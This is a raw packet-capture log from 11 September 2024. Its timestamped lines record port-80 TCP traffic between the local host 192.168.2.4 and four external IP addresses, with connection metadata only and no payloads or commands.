Sep 11, 2024 16:22:17.164496899 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164509058 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164520979 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164525986 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164532900 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164544106 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164554119 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164566994 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164582014 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164613008 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164635897 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164786100 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164829969 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.164971113 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164983034 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.164994955 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.165009975 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.165035009 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.165155888 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.165201902 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.165327072 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.165339947 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.165380955 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167413950 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167424917 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167437077 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167448044 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167459965 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167468071 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167491913 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167515039 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167548895 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167562008 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167572021 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167583942 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167589903 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167598963 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167613029 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167649984 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167680025 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167691946 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167701960 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167715073 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167716980 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167726994 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167738914 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167759895 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167793989 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167824030 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167835951 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167846918 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167859077 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167870045 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167876959 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167915106 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.167970896 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167983055 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.167993069 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168004036 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168010950 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168015003 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168029070 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168040991 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168046951 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168052912 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168075085 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168083906 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168087959 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168104887 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168114901 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168128014 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168138027 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168140888 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168149948 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168162107 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168174028 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168184996 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168190956 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168196917 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168205023 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168210030 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168222904 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168230057 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168234110 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168246984 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168257952 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168260098 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168277979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168288946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168292999 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168323994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.168323994 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168350935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168350935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168402910 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.168416023 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168437958 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.168461084 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.168467045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168478012 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.168528080 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.168541908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168554068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168565989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168581009 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168598890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168610096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168610096 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168622017 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168632984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168644905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168647051 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168657064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168668985 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168675900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168680906 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168693066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168704033 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168709993 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168718100 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168732882 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168735981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168749094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168760061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168764114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168770075 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168775082 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168782949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168795109 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168804884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168816090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168826103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168828964 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168837070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168848991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168859959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168865919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168874979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168884993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168896914 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168900967 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168912888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168922901 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168927908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168941021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168946981 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.168952942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168963909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168975115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168986082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168996096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.168998957 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.169008017 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.169019938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169032097 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169043064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169050932 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.169078112 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.169109106 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.169235945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169248104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169258118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169270039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169280052 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.169281960 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169295073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169306040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169312954 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.169318914 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169331074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.169336081 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.169342995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.169362068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.169373035 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.169380903 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.169387102 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.169456005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.169568062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.169579983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.169591904 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169601917 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169609070 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.169612885 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169641018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.169658899 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.169667006 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.169701099 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.170897007 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.170907974 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.170918941 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.170932055 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.170943975 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.170954943 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.170967102 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.170974970 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.170974970 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171030045 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171061039 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171072960 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171084881 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171097040 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171097040 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171111107 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171123028 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171158075 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171158075 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171222925 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171235085 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171283007 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171371937 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171581984 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171597004 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171607018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171624899 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171654940 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171757936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171770096 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171780109 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171792984 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171822071 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171822071 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171859980 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.171953917 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171966076 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171976089 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171988964 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.171999931 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172003031 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172010899 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172013044 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172024965 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172069073 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172069073 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172099113 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172110081 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172122002 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172135115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172146082 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172158003 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172163010 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172163010 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172168016 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172178984 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172189951 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172200918 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172213078 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172224045 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172225952 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172243118 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172244072 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172262907 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172266006 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172276020 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172280073 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172286987 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172288895 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172298908 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172310114 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172322035 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172327995 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172333956 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172346115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172357082 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172364950 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172369957 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172382116 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172393084 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172394037 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172415018 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172415972 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172431946 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172435999 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172446966 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172458887 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172470093 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172482014 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172486067 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172486067 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172493935 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172506094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172518015 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172518015 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172528028 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172542095 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172560930 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172570944 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172570944 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172576904 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172590017 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172600985 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172611952 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172621965 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172621965 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172622919 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172635078 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172646046 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172652006 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172656059 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172667027 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172677040 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172688961 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172697067 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172699928 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172699928 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172715902 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172723055 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172734022 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172745943 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.172745943 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172755957 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172769070 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172780037 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172791004 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172791958 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.172801971 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172806978 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.172813892 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172826052 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172836065 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172842979 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172848940 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172859907 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172873020 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172874928 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172885895 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172893047 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172898054 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172909975 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172914028 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172920942 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172930956 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172933102 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172944069 CEST	80	49737	31.41.244.9	192.168.2.4
